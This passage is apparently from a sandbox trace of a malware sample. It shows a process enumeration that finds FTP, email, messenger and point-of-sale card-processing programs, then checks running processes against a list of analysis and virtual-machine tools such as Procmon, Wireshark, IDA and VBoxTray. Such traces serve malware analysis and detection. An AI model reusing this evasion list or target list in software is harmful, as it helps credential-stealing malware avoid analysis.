th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bible.exe")) returned 1 [0283.153] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="canvas.exe")) returned 1 [0283.154] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cinema-count.exe")) returned 1 [0283.155] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tyler.exe")) returned 1 [0283.155] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="systems-limitation.exe")) returned 1 [0283.161] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="intellectual cleaner.exe")) returned 1 [0283.162] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="parker_sonic_metallic.exe")) returned 1 [0283.163] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="phrases_unique_mem.exe")) returned 1 [0283.164] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0283.164] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0283.165] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0283.167] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0283.168] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0283.169] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0283.171] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0283.172] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0283.173] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0283.176] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0283.177] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0283.178] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0283.179] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0283.180] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x680, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0283.181] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0283.182] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0283.183] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0283.184] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0283.185] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0283.186] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0283.187] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0283.188] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0283.189] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0283.199] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0283.201] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xec0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0283.202] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0283.203] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0283.204] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0283.205] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0283.206] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0283.207] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0283.208] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xef8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0283.209] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0283.210] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0283.211] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0283.212] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x74c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0283.213] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0283.214] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0283.215] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0283.216] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0283.217] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0283.218] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0283.219] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0283.220] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0283.221] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="nv-ambien-sharp.exe")) returned 1 [0283.222] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lancaster.exe")) returned 1 [0283.223] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="eos-says.exe")) returned 1 [0283.224] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0283.225] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.226] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0283.227] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0283.229] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0283.230] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0283.231] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x119c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0283.232] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SppExtComObj.Exe")) returned 1 [0283.233] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=8, dwFlags=0x0, szExeFile="slui.exe")) returned 1 [0283.234] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe40, pcPriClassBase=8, dwFlags=0x0, szExeFile="xafpqko.exe")) returned 1 [0283.234] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe40, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0283.235] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x10f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0283.239] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x10f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="PING.EXE")) returned 1 [0283.240] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1348, pcPriClassBase=8, dwFlags=0x0, szExeFile="xafpqko.exe")) returned 1 [0283.241] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="slui.exe")) returned 1 [0283.242] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x19fcac, th32DefaultHeapID=0x54, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="slui.exe")) returned 0 [0283.243] CloseHandle (hObject=0x290) returned 1 [0283.243] lstrlenA (lpString="Fiddler.exe") returned 11 [0283.243] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb70 | out: hHeap=0x2670000) returned 1 [0283.243] lstrlenA (lpString="samp1e.exe") returned 10 [0283.243] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa98 | out: hHeap=0x2670000) returned 1 [0283.243] lstrlenA (lpString="sample.exe") returned 10 [0283.243] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0283.243] lstrlenA (lpString="runsample.exe") returned 13 [0283.243] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0283.243] lstrlenA (lpString="lordpe.exe") returned 10 [0283.243] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb28 | out: hHeap=0x2670000) returned 1 [0283.243] lstrlenA (lpString="regshot.exe") returned 11 [0283.243] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa80 | out: hHeap=0x2670000) returned 1 [0283.244] lstrlenA (lpString="Autoruns.exe") returned 12 [0283.244] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9f0 | out: hHeap=0x2670000) returned 1 [0283.244] lstrlenA (lpString="dsniff.exe") returned 10 [0283.244] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efac8 | out: hHeap=0x2670000) returned 1 [0283.244] lstrlenA (lpString="VBoxTray.exe") returned 12 [0283.244] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0283.244] lstrlenA (lpString="HashMyFiles.exe") returned 15 [0283.244] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efba0 | out: hHeap=0x2670000) returned 1 [0283.244] lstrlenA (lpString="ProcessHacker.exe") returned 17 [0283.244] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9a8 | out: hHeap=0x2670000) returned 1 [0283.244] lstrlenA (lpString="Procmon.exe") returned 11 [0283.244] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb40 | out: hHeap=0x2670000) returned 1 [0283.244] lstrlenA (lpString="Procmon64.exe") returned 13 [0283.244] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa68 | out: hHeap=0x2670000) returned 1 [0283.244] lstrlenA (lpString="netmon.exe") returned 10 [0283.245] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0283.245] lstrlenA (lpString="vmtoolsd.exe") returned 12 [0283.245] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efae0 | out: hHeap=0x2670000) returned 1 [0283.245] lstrlenA (lpString="vm3dservice.exe") returned 15 [0283.245] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efaf8 | out: hHeap=0x2670000) returned 1 [0283.245] lstrlenA (lpString="VGAuthService.exe") returned 17 [0283.245] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2676f68 | out: hHeap=0x2670000) returned 1 [0283.245] lstrlenA (lpString="pr0c3xp.exe") returned 11 [0283.245] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb10 | out: hHeap=0x2670000) returned 1 [0283.245] lstrlenA (lpString="ProcessHacker.exe") returned 17 [0283.245] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2676f88 | out: hHeap=0x2670000) returned 1 [0283.245] lstrlenA (lpString="CFF Explorer.exe") returned 16 [0283.245] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2676fa8 | out: hHeap=0x2670000) returned 1 [0283.245] lstrlenA (lpString="dumpcap.exe") returned 11 [0283.246] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efbb8 | out: hHeap=0x2670000) returned 1 [0283.246] lstrlenA (lpString="Wireshark.exe") returned 13 [0283.246] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa08 | out: hHeap=0x2670000) returned 1 [0283.246] lstrlenA (lpString="idaq.exe") returned 8 [0283.246] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa50 | out: hHeap=0x2670000) returned 1 [0283.246] lstrlenA (lpString="idaq64.exe") returned 10 [0283.246] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa38 | out: hHeap=0x2670000) returned 1 [0283.246] lstrlenA (lpString="TPAutoConnect.exe") returned 17 [0283.246] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2676fc8 | out: hHeap=0x2670000) returned 1 [0283.246] lstrlenA 